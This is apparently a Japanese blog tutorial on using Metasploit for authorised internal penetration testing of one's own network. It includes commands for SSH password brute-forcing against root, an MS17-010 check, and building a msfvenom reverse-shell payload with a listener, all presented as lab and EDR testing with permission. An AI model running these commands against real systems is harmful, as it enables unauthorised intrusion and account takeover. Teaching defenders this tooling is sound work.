自分のシステムに脆弱性があると気づくのはいつか?
現実的な答えは「攻撃者があなたより先に発見したとき」だ。だからこそ、sysadminやsecurity engineerは、他の誰かにやられる前に自分のシステムを積極的に「自己ハック」する必要がある。
10台以上のサーバーのセキュリティ脆弱性スキャンを行ってきた経験から言うと、ほとんどに共通した基本的な脆弱性がある:古いバージョンで動作しているサービス、不要に開いているポート、あるいはデフォルトのクレデンシャルがそのまま使われているケースだ。些細に見えるこれらの問題が、実際の攻撃で最もよく使われる入口になっている。
Metasploit Frameworkは、security professionalが管理された環境で、明示的な許可のもとにそのような攻撃を正確にシミュレートするために使うツールだ。この記事では、Metasploitを責任ある形で自社の内部システムを診断するために使う方法を解説する。
Metasploitとは何か、どのように動作するか
Metasploit Frameworkは2003年に誕生したRuby製のオープンソースプラットフォームで、現在2,400以上のモジュールが利用可能だ。セキュリティ会社のペネトレーションテストレポートを読んだことがあれば、そのプロセスのどこかでMetasploitが使われている可能性が高い。
事前に知っておくべき概念
- Module:Metasploitの機能単位。主に4種類ある:
exploit(脆弱性への攻撃)、auxiliary(スキャン/フィンガープリント)、payload(exploit成功後に実行されるコード)、post(アクセス権取得後のアクション)。 - msfconsole:MetasploitのメインCLIインターフェース。
- RHOSTS / RPORT:ターゲットマシンのIPアドレスとポート。
- LHOST / LPORT:自分のマシン(攻撃者/リスナー)のIPアドレスとポート。
- Session:exploit成功後に確立された接続 — シェルやMeterpreterなど。
絶対に外せない原則:Metasploitは、自分が所有しているか、書面による許可を受けたシステムでのみ実行すること。許可のないシステムでの使用は犯罪であり、例外はない。
Kali Linux / Ubuntu に Metasploit をインストールする
Kali Linuxにはすでにインストール済みだ。UbuntuやDebianを使っている場合は次のようにインストールする:
# Ubuntu/DebianにMetasploitをインストール
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# 初回起動(データベースを作成)
msfdb init
# コンソールを起動
msfconsole
初めてmsfconsoleを実行するときは初期化に数分かかる。msf6 >プロンプトが表示されれば起動完了だ。
実践:正規の手順で内部システムを診断する
標準的なペネトレーションテストの手順は3ステップだ:Scan → Identify → Test。以下に具体的な例を交えて各ステップを解説する。
ステップ1 — ホストとサービスの検出スキャン
Metasploitを使う前に、内部ネットワークに何があるかを把握する必要がある。auxiliary/scannerモジュールを使おう:
# msfconsole内で
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,3306,5432,8080,8443
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 20
msf6 auxiliary(scanner/portscan/tcp) > run
または、より詳細な結果を得るためにMetasploitに統合されたNmapを直接使う:
msf6 > db_nmap -sV -O 192.168.1.0/24
# -sV: サービスのバージョンを検出
# -O: OSを検出
# データベースに保存された結果を確認
msf6 > hosts
msf6 > services
ステップ2 — SSHがブルートフォース攻撃を受けるか確認する
弱いパスワードのSSHは、私が最もよく遭遇する脆弱性であり、早期に発見できれば最も簡単に修正できるものでもある。Metasploitにはこれをテストするモジュールがある:
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/common-passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
msf6 auxiliary(scanner/ssh/ssh_login) > run
モジュールでパスワードが見つかった?すぐに対処しよう:鍵認証に切り替え、SSH経由の直接rootログインを無効化し、Google Authenticatorで2FAを有効にする。
ステップ3 — 特定のサービスの脆弱性を確認する
スキャンで古いバージョンのSamba (SMB)が動いているマシンを発見したとしよう。これがEternalBlue(MS17-010)の影響を受けているかどうかを確認する方法だ — 2017年のWannaCry事件で使われた脆弱性:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.55
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
# 脆弱性がある場合の出力:
# [+] 192.168.1.55:445 - Host is likely VULNERABLE to MS17-010!
注意:auxiliary/scannerモジュールは検出するだけで、実際にexploitするわけではない。これは脆弱性の存在を安全に確認する方法だ。
ステップ4 — 発見した脆弱性に適したモジュールを探す
動作しているサービスのバージョンがわかったら?searchを使って対応するexploitを探そう:
# vsftpd 2.3.4(有名なバックドア)に関連するexploitを検索
msf6 > search vsftpd
# CVEで検索
msf6 > search cve:2021-44228
# Apacheに関連するモジュールを検索
msf6 > search name:apache type:exploit
ステップ5 — msfvenomでエンドポイント検出をテストする
もう一つ有用な作業は、システム上のantivirus/EDRがpayloadを検出できるかどうかを確認することだ。msfvenomはテスト用のpayloadを作成するのに役立つ:
# Linux reverse shell payloadを作成(ラボ環境でのみ使用)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f elf -o test_payload.elf
# msfconsoleで接続を受け取るlistenerを起動
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
テストマシンでpayloadを実行しても警告が出なかった?それはセキュリティ監視設定全体を見直すべき明確なサインだ。
ステップ6 — 結果を記録する
Metasploitにはセッション全体をログとして記録する機能があり、後のレポート作成に便利だ:
# コンソールログをファイルに書き出す
msf6 > spool /tmp/pentest-report-$(date +%Y%m%d).log
# データベースから結果をエクスポート
msf6 > hosts -o /tmp/hosts.csv
msf6 > vulns -o /tmp/vulns.csv
# 終了したらspoolをオフにする
msf6 > spool off
開始前に確認すべきこと
内部ペネトレーションテストの前に必ず確認するチェックリストがある:
- 管理者またはシステム所有者から書面による許可を得る — たとえ自分が働いている会社のサーバーであっても。
- スコープを明確に定義する:テスト対象のIPと、触れてはいけないIP(本番環境、メインデータベースなど)を明確にする。
- 影響の少ない時間帯を選ぶ:重いネットワークスキャンはシステムを遅くする可能性がある。深夜から早朝(23時〜5時)が最適だ。
- ロールバック計画を持つ:一部のexploitはサービスをクラッシュさせる可能性がある — 必要に応じて再起動する方法を知っておく必要がある。
- ラボに実際のクレデンシャルを保存しない:テスト環境専用のパスワードを使う。
まとめ
プロのペンテスターでなくてもMetasploitは使える。基本的なauxiliaryモジュールを4〜5個マスターすれば、sysadminが定期的な脆弱性スキャンを実行して一般的な脆弱性の大部分を検出するには十分だ。
正しい手順を踏むことは欠かせない:許可を得て、スコープを定め、記録を残し、発見した問題をすぐに対処する。内部ペネトレーションテストは通常3〜4時間で完了する。そのコストは、実際のインシデントの結果と比べれば微々たるものだ — IBM Cost of Data Breach Report 2023によると、データ漏洩1件あたりの平均コストは445万ドルにのぼる。
修正して、設定を見直して、スキャンを再実行して修正を確認する — それがセキュリティハードニングの完全なサイクルだ。

